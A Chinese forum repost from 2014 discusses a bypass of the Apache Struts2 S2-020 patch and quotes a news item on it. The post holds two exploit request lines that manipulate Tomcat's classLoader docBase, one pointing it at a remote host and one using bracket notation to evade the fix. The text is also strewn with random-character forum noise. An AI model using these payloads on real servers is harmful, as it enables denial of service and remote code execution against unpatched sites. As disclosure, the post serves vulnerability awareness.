之前S2-020漏洞利用方式见drops：Struts2 Tomcat class.classLoader.resources.dirContext.docBase赋值造成的DoS及远程代码执行利用! ! z# Y) ~$ S- P# S# ?
0 s% [5 M0 V9 i$ A
暂时不清楚到底是谁发出来的补丁绕过。之前 @Nebula 发的Tomcat：- http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=//192.168.x.x/test; [, z0 a7 e9 a' f* p' o
& @1 q" ~. q1 t8 Y
[color=rgb(51, 102, 153) !important]复制代码
0 c5 M* E- {8 v$ g; w: P. ]$ \" z( C* l- s
绕过方式是：- http://localhost:8080/Struts2/test.action?class["classLoader"]["resources"]["dirContext"]["docBase"]=xxxxx
& G- [5 ^, O; s& J1 [
) \( }* Q6 x* Y. y, N" X% p
[color=rgb(51, 102, 153) !important]复制代码7 D7 H6 x/ Y ~/ J- |& h" E- _
' |9 _7 F5 k$ _( X/ I; h7 k; {* s顺便说下// netbios协议似乎在仅是windows，linux下貌似不能直接使用这样的协议。之前有发过：[百度安全中心博客-neobyte]Struts2 S2-020在Tomcat 8下的命令执行分析利用切换日志到web目录，有点可行性。 9 U: V" t9 j8 j( _! A
加速乐发了新闻：
8 }; x6 H3 h: d& V8 Z9 Thttp://jiasule.baidu.com/news/5357a1eebf9efd27e6ecbade/
1 M. Y; k0 L+ H; y2 L: Y6 e4月23日消息，近日安全研究人员指出Apache Struts2在漏洞公告S2-020里，在处理修复CVE-2014-0094的漏洞修补方案存在漏洞，导致补丁被完全绕过。目前官方在GitHub上对该问题做出了修正。该问题被曝光后，百度加速乐已率先升级了防御规则，目前百度加速乐可独家防御该漏洞。
5 z9 ~& j5 a3 p% W# {& t# Y- x* x* B, N9 O& ]
据了解Struts2已不是第一次出现重大安全事故，去年9月Struts2曝出漏洞，国家多家重要政府网站受到影响，其中不乏部委级网站。此次再次曝出漏洞显现出互联网安全问题的严重性。* ?( V! |4 A$ K2 p% i* m3 B% E) C
. W' H f7 }& A( N1 D
0 A+ c) }- N+ B8 g- B# r/ t
+ k( T3 E/ S8 x" C1 [5 M1 \转载自乌云8 |" s) q# ]" B. F8 K2 f g- _8 N
原文链接:http://zone.wooyun.org/content/11876
; z4 v% q5 q. h |
发表于 2014-4-27 19:10:10
收藏
支持
反对